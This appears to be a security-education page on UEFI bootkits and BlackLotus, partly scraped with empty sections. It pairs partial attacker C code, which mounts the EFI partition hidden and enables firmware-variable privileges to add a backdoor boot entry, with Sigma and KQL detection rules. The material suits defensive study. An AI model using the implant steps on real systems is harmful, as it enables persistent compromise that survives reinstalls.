Bootkit and UEFI Malware

UEFI bootkits are the highest tier of persistence: they execute before the OS loader, before Secure Boot enforcement (if bypassed), before any security software, and survive OS reinstalls because they live in the EFI System Partition or the UEFI firmware flash. BlackLotus (2022–2023) was the first public in-the-wild UEFI bootkit targeting Windows 11 with Secure Boot bypass, proving that this class of threat has moved from nation-state toolkits to crimeware. Detection requires firmware integrity monitoring and ESP file auditing.

UEFI Boot Chain

BlackLotus Analysis

ESP File Implant

// The EFI System Partition (ESP) is typically mounted at hidden/locked path.
// An attacker with SYSTEM access can mount it, modify files, and unmount.
// Modifying bootmgfw.efi or adding a new boot entry requires the EFI partition
// to be mounted — normally it is not; Windows mounts it only during update.

// Mount ESP (requires admin, works without driver):
// mountvol X: /s   → mounts ESP at X:\
// After mount: ESP is at X:\EFI\Microsoft\Boot\

VOID MountESP(WCHAR driveLetter) {
    WCHAR cmd[64];
    swprintf_s(cmd, L"mountvol %c: /s", driveLetter);
    ShellExecuteW(NULL, L"open", L"cmd.exe",
        cmd, NULL, SW_HIDE);
}

// Malicious EFI application (.efi = PE with EFI subsystem) written to ESP:
// X:\EFI\Backdoor\loader.efi
// Add boot entry: bcdedit /copy {bootmgr} /d "System Recovery"
// Modify entry to point to loader.efi via UEFI NVRAM (requires privileged NVRAM write)

// Add UEFI NVRAM boot entry from Win32 (SetFirmwareEnvironmentVariableExW):
BOOL AddUEFIBootEntry(LPCWSTR efiPath) {
    // Build EFI_LOAD_OPTION structure
    // Variable name: "Boot####" where #### is next available hex number
    // Requires SE_SYSTEM_ENVIRONMENT_PRIVILEGE
    LUID luid;
    LookupPrivilegeValueW(NULL, SE_SYSTEM_ENVIRONMENT_NAME, &luid);
    TOKEN_PRIVILEGES tp = {1, {{luid, SE_PRIVILEGE_ENABLED}}};
    HANDLE hTok;
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hTok);
    AdjustTokenPrivileges(hTok, FALSE, &tp, 0, NULL, NULL);

    // SetFirmwareEnvironmentVariableExW("Boot0002",
    //   "{8be4df61-93ca-11d2-aa0d-00e098032b8c}",
    //   efiLoadOptionBytes, cbBytes, VARIABLE_ATTRIBUTE_NON_VOLATILE | ...)
    return TRUE;  // Full EFI_LOAD_OPTION construction: see UEFI spec section 3.1.3
}

Secure Boot Bypass Techniques

Detection Engineering

title: EFI System Partition Write — Unexpected Process Writing ESP Files
logsource:
  product: windows
  category: file_event
detection:
  selection:
    EventID: 11  # Sysmon FileCreate
    TargetFilename|contains: '\EFI\'
  not_legit:
    Image|endswith:
      - '\TrustedInstaller.exe'
      - '\wuauclt.exe'
      - '\svchost.exe'
  condition: selection and not not_legit
level: critical
tags: [attack.persistence, T1542.003]

title: mountvol Used to Mount EFI Partition
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\mountvol.exe'
    CommandLine|contains: '/s'
  condition: selection
level: high

title: UEFI NVRAM Write — SetFirmwareEnvironmentVariable
logsource:
  product: windows
  category: process_access
detection:
  selection:
    EventID: 10
    CallTrace|contains: 'SetFirmwareEnvironmentVariable'
  condition: selection
level: critical

-- MDE KQL: ESP write or mountvol to hidden EFI partition
DeviceProcessEvents
| where Timestamp > ago(1d)
| where FileName =~ "mountvol.exe"
| where ProcessCommandLine has "/s"
| project Timestamp, DeviceName, AccountName,
    InitiatingProcessFileName, ProcessCommandLine

DeviceFileEvents
| where Timestamp > ago(1d)
| where FolderPath has @"\EFI\"
| where ActionType in ("FileCreated","FileModified")
| where InitiatingProcessFileName !in~ (
    "TrustedInstaller.exe","WinStore.App.exe","svchost.exe")
| project Timestamp, DeviceName, FileName, FolderPath,
    InitiatingProcessFileName, InitiatingProcessCommandLine

-- Firmware integrity: compare ESP bootmgfw.efi SHA256 against known-good
-- PowerShell (scheduled task or Defender AV scan at boot):
-- $hash = Get-FileHash "X:\EFI\Microsoft\Boot\bootmgfw.efi" -Algorithm SHA256
-- if ($hash.Hash -ne "KNOWN_GOOD_HASH") { Alert-SOC "ESP bootloader modified" }

Q&A